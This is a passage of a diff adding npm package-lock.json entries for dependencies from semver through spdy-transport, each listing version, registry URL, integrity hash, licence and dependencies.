"sha512-LmME957M1zOsUhG+67rAjKfiWFox3SBxE/yymatMZsAx+oMrJ0YQ8AToOnyCm7xbeg2ep37IHLxdu0o2MavQOQ==", + "license": "MIT", + "dependencies": { + "node-forge": "^1" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/semver": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/send": { + "version": "0.18.0", + "resolved": "https://registry.npmjs.org/send/-/send-0.18.0.tgz", + "integrity": "sha512-qqWzuOjSFOuqPjFe4NOsMLafToQQwBSOEpS+FwEt3A2V3vKubTquT3vmLTQpFgMXp8AlFWFuP1qKaJZOtPpVXg==", + "license": "MIT", + "dependencies": { + "debug": "2.6.9", + "depd": "2.0.0", + "destroy": "1.2.0", + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "etag": "~1.8.1", + "fresh": "0.5.2", + "http-errors": "2.0.0", + "mime": "1.6.0", + "ms": "2.1.3", + "on-finished": "2.4.1", + "range-parser": "~1.2.1", + "statuses": "2.0.1" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/send/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "license": "MIT", + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/send/node_modules/debug/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==", + "license": "MIT" + }, + "node_modules/send/node_modules/ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "license": "MIT" + }, + "node_modules/serialize-javascript": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-6.0.2.tgz", + "integrity": "sha512-Saa1xPByTTq2gdeFZYLLo+RFE35NHZkAbqZeWNd3BpzppeVisAqpDjcp8dyf6uIvEqJRd46jemmyA4iFIeVk8g==", + "license": "BSD-3-Clause", + "dependencies": { + "randombytes": "^2.1.0" + } + }, + "node_modules/serve-index": { + "version": "1.9.1", + "resolved": "https://registry.npmjs.org/serve-index/-/serve-index-1.9.1.tgz", + "integrity": "sha512-pXHfKNP4qujrtteMrSBb0rc8HJ9Ms/GrXwcUtUtD5s4ewDJI8bT3Cz2zTVRMKtri49pLx2e0Ya8ziP5Ya2pZZw==", + "license": "MIT", + "dependencies": { + "accepts": "~1.3.4", + "batch": "0.6.1", + "debug": "2.6.9", + "escape-html": "~1.0.3", + "http-errors": "~1.6.2", + "mime-types": "~2.1.17", + "parseurl": "~1.3.2" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/serve-index/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "license": "MIT", + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/serve-index/node_modules/depd": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/depd/-/depd-1.1.2.tgz", + "integrity": "sha512-7emPTl6Dpo6JRXOXjLRxck+FlLRX5847cLKEn00PLAgc3g2hTZZgr+e4c2v6QpSmLeFP3n5yUo7ft6avBK/5jQ==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/serve-index/node_modules/http-errors": { + "version": "1.6.3", + "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-1.6.3.tgz", + "integrity": "sha512-lks+lVC8dgGyh97jxvxeYTWQFvh4uw4yC12gVl63Cg30sjPX4wuGcdkICVXDAESr6OJGjqGA8Iz5mkeN6zlD7A==", + "license": "MIT", + "dependencies": { + "depd": "~1.1.2", + "inherits": "2.0.3", + "setprototypeof": "1.1.0", + "statuses": ">= 1.4.0 < 2" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/serve-index/node_modules/inherits": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz", + "integrity": "sha512-x00IRNXNy63jwGkJmzPigoySHbaqpNuzKbBOmzK+g2OdZpQ9w+sxCN+VSB3ja7IAge2OP2qpfxTjeNcyjmW1uw==", + "license": "ISC" + }, + "node_modules/serve-index/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==", + "license": "MIT" + }, + "node_modules/serve-index/node_modules/setprototypeof": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.1.0.tgz", + "integrity": "sha512-BvE/TwpZX4FXExxOxZyRGQQv651MSwmWKZGqvmPcRIjDqWub67kTKuIMx43cZZrS/cBBzwBcNDWoFxt2XEFIpQ==", + "license": "ISC" + }, + "node_modules/serve-index/node_modules/statuses": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/statuses/-/statuses-1.5.0.tgz", + "integrity": "sha512-OpZ3zP+jT1PI7I8nemJX4AKmAX070ZkYPVWV/AaKTJl+tXCTGyVdC1a4SL8RUQYEwk/f34ZX8UTykN68FwrqAA==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/serve-static": { + "version": "1.15.0", + "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.15.0.tgz", + "integrity": "sha512-XGuRDNjXUijsUL0vl6nSD7cwURuzEgglbOaFuZM9g3kwDXOWVTck0jLzjPzGD+TazWbboZYu52/9/XPdUgne9g==", + "license": "MIT", + "dependencies": { + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "parseurl": "~1.3.3", + "send": "0.18.0" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/set-function-length": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/set-function-length/-/set-function-length-1.2.2.tgz", + "integrity": "sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg==", + "license": "MIT", + "dependencies": { + "define-data-property": "^1.1.4", + "es-errors": "^1.3.0", + "function-bind": "^1.1.2", + "get-intrinsic": "^1.2.4", + "gopd": "^1.0.1", + "has-property-descriptors": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/set-function-name": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/set-function-name/-/set-function-name-2.0.2.tgz", + "integrity": "sha512-7PGFlmtwsEADb0WYyvCMa1t+yke6daIG4Wirafur5kcf+MhUnPms1UeR0CKQdTZD81yESwMHbtn+TR+dMviakQ==", + "license": "MIT", + "dependencies": { + "define-data-property": "^1.1.4", + "es-errors": "^1.3.0", + "functions-have-names": "^1.2.3", + "has-property-descriptors": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/set-value": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/set-value/-/set-value-2.0.1.tgz", + "integrity": "sha512-JxHc1weCN68wRY0fhCoXpyK55m/XPHafOmK4UWD7m2CI14GMcFypt4w/0+NV5f/ZMby2F6S2wwA7fgynh9gWSw==", + "dev": true, + "license": "MIT", + "dependencies": { + "extend-shallow": "^2.0.1", + "is-extendable": "^0.1.1", + "is-plain-object": "^2.0.3", + "split-string": "^3.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/set-value/node_modules/extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-extendable": "^0.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/set-value/node_modules/is-extendable": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-0.1.1.tgz", + "integrity": "sha512-5BMULNob1vgFX6EjQw5izWDxrecWK9AM72rugNr0TFldMOi0fj6Jk+zeKIt0xGj4cEfQIJth4w3OKWOJ4f+AFw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/setprototypeof": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz", + "integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==", + "license": "ISC" + }, + "node_modules/shallow-clone": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/shallow-clone/-/shallow-clone-3.0.1.tgz", + "integrity": "sha512-/6KqX+GVUdqPuPPd2LxDDxzX6CAbjJehAAOKlNpqqUpAqPM6HeL8f+o3a+JsyGjn2lv0WY8UsTgUJjU9Ok55NA==", + "dev": true, + "license": "MIT", + "dependencies": { + "kind-of": "^6.0.2" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/shallowequal": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/shallowequal/-/shallowequal-1.1.0.tgz", + "integrity": "sha512-y0m1JoUZSlPAjXVtPPW70aZWfIL/dSP7AFkRnniLCrK/8MDKog3TySTBmckD+RObVxH0v4Tox67+F14PdED2oQ==", + "license": "MIT" + }, + "node_modules/shebang-command": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", + "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", + "license": "MIT", + "dependencies": { + "shebang-regex": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/shebang-regex": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", + "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/shell-quote": { + "version": "1.7.3", + "resolved": "https://registry.npmjs.org/shell-quote/-/shell-quote-1.7.3.tgz", + "integrity": "sha512-Vpfqwm4EnqGdlsBFNmHhxhElJYrdfcxPThu+ryKS5J8L/fhAwLazFZtq+S+TWZ9ANj2piSQLGj6NQg+lKPmxrw==", + "license": "MIT" + }, + "node_modules/shortid": { + "version": "2.2.16", + "resolved": "https://registry.npmjs.org/shortid/-/shortid-2.2.16.tgz", + "integrity": "sha512-Ugt+GIZqvGXCIItnsL+lvFJOiN7RYqlGy7QE41O3YC1xbNSeDGIRO7xg2JJXIAj1cAGnOeC1r7/T9pgrtQbv4g==", + "deprecated": "Package no longer supported. Contact Support at https://www.npmjs.com/support for more info.", + "license": "MIT", + "dependencies": { + "nanoid": "^2.1.0" + } + }, + "node_modules/shortid/node_modules/nanoid": { + "version": "2.1.11", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-2.1.11.tgz", + "integrity": "sha512-s/snB+WGm6uwi0WjsZdaVcuf3KJXlfGl2LcxgwkEwJF0D/BWzVWAZW/XY4bFaiR7s0Jk3FPvlnepg1H1b1UwlA==", + "license": "MIT" + }, + "node_modules/side-channel": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.0.4.tgz", + "integrity": "sha512-q5XPytqFEIKHkGdiMIrY10mvLRvnQh42/+GoBlFW3b2LXLE2xxJpZFdm94we0BaoV3RwJyGqg5wS7epxTv0Zvw==", + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.0", + "get-intrinsic": "^1.0.2", + "object-inspect": "^1.9.0" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/signal-exit": { + "version": "3.0.7", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz", + "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==", + "license": "ISC" + }, + "node_modules/sisteransi": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/sisteransi/-/sisteransi-1.0.5.tgz", + "integrity": "sha512-bLGGlR1QxBcynn2d5YmDX4MGjlZvy2MRBDRNHLJ8VI6l6+9FUiyTFNJ0IveOSP0bcXgVDPRcfGqA0pjaqUpfVg==", + "license": "MIT" + }, + "node_modules/slash": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz", + "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/slice-ansi": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-3.0.0.tgz", + "integrity": "sha512-pSyv7bSTC7ig9Dcgbw9AuRNUb5k5V6oDudjZoMBSr13qpLBG7tB+zgCkARjq7xIUgdz5P1Qe8u+rSGdouOOIyQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.0.0", + "astral-regex": "^2.0.0", + "is-fullwidth-code-point": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/slice-ansi/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "license": "MIT", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/slice-ansi/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/slice-ansi/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true, + "license": "MIT" + }, + "node_modules/snapdragon": { + "version": "0.8.2", + "resolved": "https://registry.npmjs.org/snapdragon/-/snapdragon-0.8.2.tgz", + "integrity": "sha512-FtyOnWN/wCHTVXOMwvSv26d+ko5vWlIDD6zoUJ7LW8vh+ZBC8QdljveRP+crNrtBwioEUWy/4dMtbBjA4ioNlg==", + "dev": true, + "license": "MIT", + "dependencies": { + "base": "^0.11.1", + "debug": "^2.2.0", + "define-property": "^0.2.5", + "extend-shallow": "^2.0.1", + "map-cache": "^0.2.2", + "source-map": "^0.5.6", + "source-map-resolve": "^0.5.0", + "use": "^3.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/snapdragon-node": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/snapdragon-node/-/snapdragon-node-2.1.1.tgz", + "integrity": "sha512-O27l4xaMYt/RSQ5TR3vpWCAB5Kb/czIcqUFOM/C4fYcLnbZUc1PkjTAMjof2pBWaSTwOUd6qUHcFGVGj7aIwnw==", + "dev": true, + "license": "MIT", + "dependencies": { + "define-property": "^1.0.0", + "isobject": "^3.0.0", + "snapdragon-util": "^3.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/snapdragon-node/node_modules/define-property": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz", + "integrity": "sha512-cZTYKFWspt9jZsMscWo8sc/5lbPC9Q0N5nBLgb+Yd915iL3udB1uFgS3B8YCx66UVHq018DAVFoee7x+gxggeA==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-descriptor": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/snapdragon-util": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/snapdragon-util/-/snapdragon-util-3.0.1.tgz", + "integrity": "sha512-mbKkMdQKsjX4BAL4bRYTj21edOf8cN7XHdYUJEe+Zn99hVEYcMvKPct1IqNe7+AZPirn8BCDOQBHQZknqmKlZQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "kind-of": "^3.2.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/snapdragon-util/node_modules/kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-buffer": "^1.1.5" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/snapdragon/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/snapdragon/node_modules/define-property": { + "version": "0.2.5", + "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", + "integrity": "sha512-Rr7ADjQZenceVOAKop6ALkkRAmH1A4Gx9hV/7ZujPUN2rkATqFO0JZLZInbAjpZYoJ1gUx8MRMQVkYemcbMSTA==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-descriptor": "^0.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/snapdragon/node_modules/extend-shallow": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", + "integrity": "sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-extendable": "^0.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/snapdragon/node_modules/is-accessor-descriptor": { + "version": "0.1.6", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz", + "integrity": "sha512-e1BM1qnDbMRG3ll2U9dSK0UMHuWOs3pY3AtcFsmvwPtKL3MML/Q86i+GilLfvqEs4GW+ExB91tQ3Ig9noDIZ+A==", + "deprecated": "Please upgrade to v0.1.7", + "dev": true, + "license": "MIT", + "dependencies": { + "kind-of": "^3.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/snapdragon/node_modules/is-accessor-descriptor/node_modules/kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-buffer": "^1.1.5" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/snapdragon/node_modules/is-data-descriptor": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz", + "integrity": "sha512-+w9D5ulSoBNlmw9OHn3U2v51SyoCd0he+bB3xMl62oijhrspxowjU+AIcDY0N3iEJbUEkB15IlMASQsxYigvXg==", + "deprecated": "Please upgrade to v0.1.5", + "dev": true, + "license": "MIT", + "dependencies": { + "kind-of": "^3.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/snapdragon/node_modules/is-data-descriptor/node_modules/kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha512-NOW9QQXMoZGg/oqnVNoNTTIFEIid1627WCffUBJEdMxYApq7mNE7CpzucIPc+ZQg25Phej7IJSmX3hO+oblOtQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-buffer": "^1.1.5" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/snapdragon/node_modules/is-descriptor": { + "version": "0.1.6", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz", + "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-accessor-descriptor": "^0.1.6", + "is-data-descriptor": "^0.1.4", + "kind-of": "^5.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/snapdragon/node_modules/is-extendable": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-0.1.1.tgz", + "integrity": "sha512-5BMULNob1vgFX6EjQw5izWDxrecWK9AM72rugNr0TFldMOi0fj6Jk+zeKIt0xGj4cEfQIJth4w3OKWOJ4f+AFw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/snapdragon/node_modules/kind-of": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz", + "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/snapdragon/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==", + "dev": true, + "license": "MIT" + }, + "node_modules/snapdragon/node_modules/source-map": { + "version": "0.5.7", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz", + "integrity": "sha512-LbrmJOMUSdEVxIKvdcJzQC+nQhe8FUZQTXQy6+I75skNgn3OoQ0DZA8YnFa7gp8tqtL3KPf1kmo0R5DoApeSGQ==", + "dev": true, + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/sockjs": { + "version": "0.3.24", + "resolved": "https://registry.npmjs.org/sockjs/-/sockjs-0.3.24.tgz", + "integrity": "sha512-GJgLTZ7vYb/JtPSSZ10hsOYIvEYsjbNU+zPdIHcUaWVNUEPivzxku31865sSSud0Da0W4lEeOPlmw93zLQchuQ==", + "license": "MIT", + "dependencies": { + "faye-websocket": "^0.11.3", + "uuid": "^8.3.2", + "websocket-driver": "^0.7.4" + } + }, + "node_modules/source-list-map": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/source-list-map/-/source-list-map-2.0.1.tgz", + "integrity": "sha512-qnQ7gVMxGNxsiL4lEuJwe/To8UnK7fAnmbGEEH8RpLouuKbeEm0lhbQVFIrNSuB+G7tVrAlVsZgETT5nljf+Iw==", + "license": "MIT" + }, + "node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/source-map-js": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz", + "integrity": "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==", + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/source-map-loader": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/source-map-loader/-/source-map-loader-3.0.1.tgz", + "integrity": "sha512-Vp1UsfyPvgujKQzi4pyDiTOnE3E4H+yHvkVRN3c/9PJmQS4CQJExvcDvaX/D+RV+xQben9HJ56jMJS3CgUeWyA==", + "license": "MIT", + "dependencies": { + "abab": "^2.0.5", + "iconv-lite": "^0.6.3", + "source-map-js": "^1.0.1" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^5.0.0" + } + }, + "node_modules/source-map-loader/node_modules/iconv-lite": { + "version": "0.6.3", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz", + "integrity": "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==", + "license": "MIT", + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/source-map-resolve": { + "version": "0.5.3", + "resolved": "https://registry.npmjs.org/source-map-resolve/-/source-map-resolve-0.5.3.tgz", + "integrity": "sha512-Htz+RnsXWk5+P2slx5Jh3Q66vhQj1Cllm0zvnaY98+NFx+Dv2CF/f5O/t8x+KaNdrdIAsruNzoh/KpialbqAnw==", + "deprecated": "See https://github.com/lydell/source-map-resolve#deprecated", + "dev": true, + "license": "MIT", + "dependencies": { + "atob": "^2.1.2", + "decode-uri-component": "^0.2.0", + "resolve-url": "^0.2.1", + "source-map-url": "^0.4.0", + "urix": "^0.1.0" + } + }, + "node_modules/source-map-support": { + "version": "0.5.21", + "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.21.tgz", + "integrity": "sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==", + "license": "MIT", + "dependencies": { + "buffer-from": "^1.0.0", + "source-map": "^0.6.0" + } + }, + "node_modules/source-map-url": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/source-map-url/-/source-map-url-0.4.1.tgz", + "integrity": "sha512-cPiFOTLUKvJFIg4SKVScy4ilPPW6rFgMgfuZJPNoDuMs3nC1HbMUycBoJw77xFIp6z1UJQJOfx6C9GMH80DiTw==", + "deprecated": "See https://github.com/lydell/source-map-url#deprecated", + "dev": true, + "license": "MIT" + }, + "node_modules/sourcemap-codec": { + "version": "1.4.8", + "resolved": "https://registry.npmjs.org/sourcemap-codec/-/sourcemap-codec-1.4.8.tgz", + "integrity": "sha512-9NykojV5Uih4lgo5So5dtw+f0JgJX30KCNI8gwhz2J9A15wD0Ml6tjHKwf6fTSa6fAdVBdZeNOs9eJ71qCk8vA==", + "deprecated": "Please use @jridgewell/sourcemap-codec instead", + "license": "MIT" + }, + "node_modules/spdy": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/spdy/-/spdy-4.0.2.tgz", + "integrity": "sha512-r46gZQZQV+Kl9oItvl1JZZqJKGr+oEkB08A6BzkiR7593/7IbtuncXHd2YoYeTsG4157ZssMu9KYvUHLcjcDoA==", + "license": "MIT", + "dependencies": { + "debug": "^4.1.0", + "handle-thing": "^2.0.0", + "http-deceiver": "^1.2.7", + "select-hose": "^2.0.0", + "spdy-transport": "^3.0.0" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/spdy-transport": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/spdy-transport/-/spdy-transport-3.0.0.tgz", + "integrity": "sha512-hsLVFE5SjA6TCisWeJXFKniGGOpBgMLmerfO2aCyCU5s7nJ/rpAepqmFifv/GCbSbueEeAJJnmSQ2rKC/g8Fcw==", + "license": 